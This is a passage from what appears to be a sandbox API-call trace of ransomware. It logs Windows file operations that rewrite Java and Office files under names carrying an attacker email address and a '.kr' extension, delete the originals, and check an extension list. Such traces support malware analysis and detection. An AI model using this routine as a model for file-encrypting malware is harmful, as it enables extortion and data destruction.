lpNewFilePointer=0x0) returned 1 [0182.130] WriteFile (in: hFile=0x3f0, lpBuffer=0x45650f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33bfc80, lpOverlapped=0x0 | out: lpBuffer=0x45650f0*, lpNumberOfBytesWritten=0x33bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0182.135] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x33bfc74 | out: lpNewFilePointer=0x0) returned 1 [0182.135] WriteFile (in: hFile=0x3f0, lpBuffer=0x45650f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33bfc80, lpOverlapped=0x0 | out: lpBuffer=0x45650f0*, lpNumberOfBytesWritten=0x33bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0182.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45650f0 | out: hHeap=0x420000) returned 1 [0182.139] CloseHandle (hObject=0x3f0) returned 1 [0182.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x21) returned 1 [0182.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.615] lstrlenW (lpString=".doc") returned 4 [0182.615] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0182.615] lstrlenW (lpString=".docx") returned 5 [0182.615] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0182.615] lstrlenW (lpString=".pdf") returned 4 [0182.615] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0182.615] lstrlenW (lpString=".xls") returned 4 [0182.615] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0182.615] lstrlenW (lpString=".xlsx") returned 5 [0182.615] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0182.615] lstrlenW (lpString=".ppt") returned 4 [0182.615] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0182.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.615] lstrlenW (lpString=".zip") returned 4 [0182.615] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0182.615] lstrlenW (lpString=".rar") returned 4 [0182.615] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0182.615] lstrlenW (lpString=".bz2") returned 4 [0182.615] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0182.615] lstrlenW (lpString=".7z") returned 3 [0182.615] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0182.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.616] lstrlenW (lpString=".dbf") returned 4 [0182.616] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0182.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.616] lstrlenW (lpString=".1cd") returned 4 [0182.616] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0182.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.616] lstrlenW (lpString=".jpg") returned 4 [0182.616] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0182.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.616] lstrlenW (lpString=".doc") returned 4 [0182.616] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0182.616] lstrlenW (lpString=".docx") returned 5 [0182.616] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0182.616] lstrlenW (lpString=".pdf") returned 4 [0182.616] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0182.616] lstrlenW (lpString=".xls") returned 4 [0182.616] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0182.616] lstrlenW (lpString=".xlsx") returned 5 [0182.616] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0182.616] lstrlenW (lpString=".ppt") returned 4 [0182.616] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0182.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.616] lstrlenW (lpString=".zip") returned 4 [0182.616] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0182.616] lstrlenW (lpString=".rar") returned 4 [0182.616] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0182.616] lstrlenW (lpString=".bz2") returned 4 [0182.616] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0182.616] lstrlenW (lpString=".7z") returned 3 [0182.617] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0182.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.617] lstrlenW (lpString=".dbf") returned 4 [0182.617] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0182.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.617] lstrlenW (lpString=".1cd") returned 4 [0182.617] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0182.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0182.617] lstrlenW (lpString=".jpg") returned 4 [0182.617] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0182.617] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".kr") returned -1 [0182.617] lstrlenW (lpString="meta-index") returned 10 [0182.617] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0182.880] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2126) returned 1 [0182.880] CloseHandle (hObject=0x454) returned 1 [0182.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0183.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.927] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.927] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0183.927] GetLastError () returned 0x0 [0183.927] ReadFile (in: hFile=0x4d8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x84e, lpOverlapped=0x0) returned 1 [0183.932] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x850, lpOverlapped=0x0) returned 1 [0183.933] ReadFile (in: hFile=0x4d8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.933] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0183.933] SetEndOfFile (hFile=0x520) returned 1 [0183.933] CloseHandle (hObject=0x520) returned 1 [0183.933] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.933] SetEndOfFile (hFile=0x4d8) returned 1 [0183.936] CloseHandle (hObject=0x4d8) returned 1 [0183.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.936] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0183.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.937] lstrlenW (lpString=".doc") returned 4 [0183.937] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0183.937] lstrlenW (lpString=".docx") returned 5 [0183.937] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0183.937] lstrlenW (lpString=".pdf") returned 4 [0183.937] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0183.937] lstrlenW (lpString=".xls") returned 4 [0183.937] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0183.937] lstrlenW (lpString=".xlsx") returned 5 [0183.937] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0183.937] lstrlenW (lpString=".ppt") returned 4 [0183.937] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0183.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.937] lstrlenW (lpString=".zip") returned 4 [0183.937] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0183.937] lstrlenW (lpString=".rar") returned 4 [0183.937] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0183.937] lstrlenW (lpString=".bz2") returned 4 [0183.937] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0183.937] lstrlenW (lpString=".7z") returned 3 [0183.938] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0183.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.938] lstrlenW (lpString=".dbf") returned 4 [0183.938] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.938] lstrlenW (lpString=".1cd") returned 4 [0183.938] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.938] lstrlenW (lpString=".jpg") returned 4 [0183.938] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.938] lstrlenW (lpString=".doc") returned 4 [0183.938] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString=".docx") returned 5 [0183.938] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0183.938] lstrlenW (lpString=".pdf") returned 4 [0183.938] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString=".xls") returned 4 [0183.938] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString=".xlsx") returned 5 [0183.938] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0183.938] lstrlenW (lpString=".ppt") returned 4 [0183.938] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.938] lstrlenW (lpString=".zip") returned 4 [0183.938] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString=".rar") returned 4 [0183.938] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString=".bz2") returned 4 [0183.938] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0183.938] lstrlenW (lpString=".7z") returned 3 [0183.939] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0183.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.939] lstrlenW (lpString=".dbf") returned 4 [0183.939] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0183.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.939] lstrlenW (lpString=".1cd") returned 4 [0183.939] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0183.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0183.939] lstrlenW (lpString=".jpg") returned 4 [0183.939] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0183.939] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.939] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0183.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.940] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=18624) returned 1 [0183.940] CloseHandle (hObject=0x4d8) returned 1 [0183.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0183.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.941] lstrlenW (lpString=".doc") returned 4 [0183.941] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.941] lstrlenW (lpString=".docx") returned 5 [0183.941] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.941] lstrlenW (lpString=".pdf") returned 4 [0183.941] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.941] lstrlenW (lpString=".xls") returned 4 [0183.941] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.941] lstrlenW (lpString=".xlsx") returned 5 [0183.941] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.941] lstrlenW (lpString=".ppt") returned 4 [0183.941] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.941] lstrlenW (lpString=".zip") returned 4 [0183.941] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.941] lstrlenW (lpString=".rar") returned 4 [0183.941] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.941] lstrlenW (lpString=".bz2") returned 4 [0183.941] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.941] lstrlenW (lpString=".7z") returned 3 [0183.941] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.941] lstrlenW (lpString=".dbf") returned 4 [0183.941] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.941] lstrlenW (lpString=".1cd") returned 4 [0183.941] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.941] lstrlenW (lpString=".jpg") returned 4 [0183.941] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.942] lstrlenW (lpString=".doc") returned 4 [0183.942] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.942] lstrlenW (lpString=".docx") returned 5 [0183.942] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.942] lstrlenW (lpString=".pdf") returned 4 [0183.942] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.942] lstrlenW (lpString=".xls") returned 4 [0183.942] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.942] lstrlenW (lpString=".xlsx") returned 5 [0183.942] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.942] lstrlenW (lpString=".ppt") returned 4 [0183.942] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.942] lstrlenW (lpString=".zip") returned 4 [0183.942] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.942] lstrlenW (lpString=".rar") returned 4 [0183.942] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.942] lstrlenW (lpString=".bz2") returned 4 [0183.942] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.942] lstrlenW (lpString=".7z") returned 3 [0183.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.942] lstrlenW (lpString=".dbf") returned 4 [0183.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.942] lstrlenW (lpString=".1cd") returned 4 [0183.942] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0183.942] lstrlenW (lpString=".jpg") returned 4 [0183.942] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.943] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.943] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0183.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.944] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11616) returned 1 [0183.944] CloseHandle (hObject=0x4d8) returned 1 [0183.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0183.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.944] lstrlenW (lpString=".doc") returned 4 [0183.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.944] lstrlenW (lpString=".docx") returned 5 [0183.944] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.944] lstrlenW (lpString=".pdf") returned 4 [0183.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.944] lstrlenW (lpString=".xls") returned 4 [0183.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.944] lstrlenW (lpString=".xlsx") returned 5 [0183.944] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.944] lstrlenW (lpString=".ppt") returned 4 [0183.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.944] lstrlenW (lpString=".zip") returned 4 [0183.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.945] lstrlenW (lpString=".rar") returned 4 [0183.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.945] lstrlenW (lpString=".bz2") returned 4 [0183.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.945] lstrlenW (lpString=".7z") returned 3 [0183.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.945] lstrlenW (lpString=".dbf") returned 4 [0183.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.945] lstrlenW (lpString=".1cd") returned 4 [0183.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.945] lstrlenW (lpString=".jpg") returned 4 [0183.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.945] lstrlenW (lpString=".doc") returned 4 [0183.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.945] lstrlenW (lpString=".docx") returned 5 [0183.945] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.945] lstrlenW (lpString=".pdf") returned 4 [0183.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.945] lstrlenW (lpString=".xls") returned 4 [0183.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.945] lstrlenW (lpString=".xlsx") returned 5 [0183.945] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.945] lstrlenW (lpString=".ppt") returned 4 [0183.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.945] lstrlenW (lpString=".zip") returned 4 [0183.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.946] lstrlenW (lpString=".rar") returned 4 [0183.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.946] lstrlenW (lpString=".bz2") returned 4 [0183.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.946] lstrlenW (lpString=".7z") returned 3 [0183.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.946] lstrlenW (lpString=".dbf") returned 4 [0183.946] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.946] lstrlenW (lpString=".1cd") returned 4 [0183.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0183.946] lstrlenW (lpString=".jpg") returned 4 [0183.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.946] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.946] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0183.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.947] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19648) returned 1 [0183.947] CloseHandle (hObject=0x4d8) returned 1 [0183.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 